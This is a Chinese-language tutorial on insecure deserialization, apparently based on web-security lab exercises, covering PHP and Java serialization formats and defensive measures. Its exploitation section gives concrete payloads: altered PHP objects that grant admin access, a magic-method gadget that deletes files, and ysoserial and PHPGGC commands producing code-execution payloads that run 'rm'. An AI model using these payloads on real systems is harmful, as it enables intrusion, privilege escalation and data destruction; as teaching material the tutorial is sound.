不安全的序列化
字数 1630 2025-08-15 21:31:32
不安全的反序列化漏洞全面解析与防御指南
1. 序列化与反序列化基础概念
1.1 序列化定义
序列化是将复杂数据结构(如对象及其字段)转换为"扁平"格式的过程,使其能够:
- 作为字节顺序流发送和接收
- 写入进程间内存、文件或数据库
- 通过网络传输或在API调用中传递
序列化会保留对象的状态(属性及其值)。
1.2 反序列化定义
反序列化是将字节流还原为原始对象功能副本的过程,还原后的对象状态与序列化时完全相同。
2. 不安全的反序列化漏洞
2.1 漏洞定义
当网站对用户可控制的数据进行反序列化时,攻击者可:
- 操纵序列化对象传递有害数据
- 用完全不同类的对象替换序列化对象
- 实例化网站可用的任何类别的对象(称为"对象注入"漏洞)
2.2 漏洞成因
- 开发者错误认为反序列化对象可信任
- 二进制序列化格式使开发者误以为用户无法读取/操纵数据
- 缺乏对反序列化数据的完整性验证
2.3 漏洞影响
- 远程代码执行(RCE)
- 权限提升
- 任意文件访问
- 拒绝服务攻击
- 扩大攻击面,导致其他漏洞
3. 序列化格式分析
3.1 PHP序列化格式
人类可读字符串格式,示例:
O:4:"User":2:{s:4:"name":s:6:"carlos"; s:10:"isLoggedIn":b:1;}
解释:
O:4:"User"- 4字符类名的对象"User"2- 对象有2个属性s:4:"name"- 第一个属性的键是4字符字符串"name"s:6:"carlos"- 第一个属性的值是6字符字符串"carlos"s:10:"isLoggedIn"- 第二个属性的键是10字符字符串"isLoggedIn"b:1- 第二个属性的值是布尔值true
PHP使用serialize()和unserialize()函数。
3.2 Java序列化格式
- 二进制序列化格式
- 序列化的Java对象以固定字节开头(十六进制和Base64编码)
- 实现
java.io.Serializable接口的类可序列化 - 关键方法:
readObject()用于从InputStream读取和反序列化数据
4. 漏洞利用技术
4.1 修改对象属性
示例:
原始序列化数据:
O:4:"User":2:{s:8:"username";s:6:"wiener";s:5:"admin";b:0;}
修改admin为b:1获取管理员权限。
4.2 修改数据类型
示例:
原始数据:
O:4:"User":2:{s:8:"username";s:6:"wiener";s:12:"access_token";s:32:"AeVESwbLNxZqqVmSo6z7qdj2aMzhfuTu";}
修改为:
O:4:"User":2:{s:8:"username";s:13:"administrator";s:12:"access_token";i:0;}
利用PHP弱类型比较(0 == "任意字符串"为true)。
4.3 利用应用程序功能
示例:
删除用户功能通过$user->image_location删除文件,修改为任意路径:
O:4:"User":3:{...;s:11:"avatar_link";s:23:"/home/carlos/morale.txt";}
4.4 魔术方法利用
PHP魔术方法如__destruct(), __wakeup()等在特定条件自动调用,若处理攻击者可控数据则危险。
示例:
class CustomTemplate {
public $lock_file_path;
public function __destruct() {
unlink($this->lock_file_path);
}
}
构造序列化数据删除指定文件:
O:14:"CustomTemplate":1:{s:14:"lock_file_path";s:23:"/home/carlos/morale.txt";}
4.5 Gadget链利用
Gadget是应用中可帮助攻击者实现目标的代码片段,通过链式调用将输入传递到危险接收器。
4.5.1 Java Gadget链
使用ysoserial工具生成payload:
java -jar ysoserial.jar CommonsCollections4 'rm /home/carlos/morale.txt' | base64
4.5.2 PHP Gadget链
使用PHPGGC工具生成payload:
./phpggc Symfony/RCE4 exec 'rm /home/carlos/morale.txt' | base64
需结合SECRET_KEY签名cookie。
4.5.3 Ruby Gadget链
利用公开的Gadget链生成payload修改命令为rm /home/carlos/morale.txt。
5. 防御措施
-
避免反序列化用户输入:除非绝对必要,否则应避免对用户输入进行反序列化。
-
数据完整性验证:
- 实施数字签名检查数据完整性
- 必须在反序列化开始前完成验证
-
避免通用反序列化功能:
- 创建特定于类的序列化方法
- 控制哪些字段公开
-
其他措施:
- 使用低权限环境运行反序列化代码
- 记录和监控反序列化异常
- 保持框架和库更新以修复已知漏洞
- 实施严格的类型约束
-
安全编码实践:
- 不要信任反序列化对象
- 限制反序列化的类白名单
- 验证反序列化数据符合预期模式
通过全面理解反序列化漏洞的原理、利用技术和防御措施,开发者可以更有效地保护应用程序免受此类高危漏洞的影响。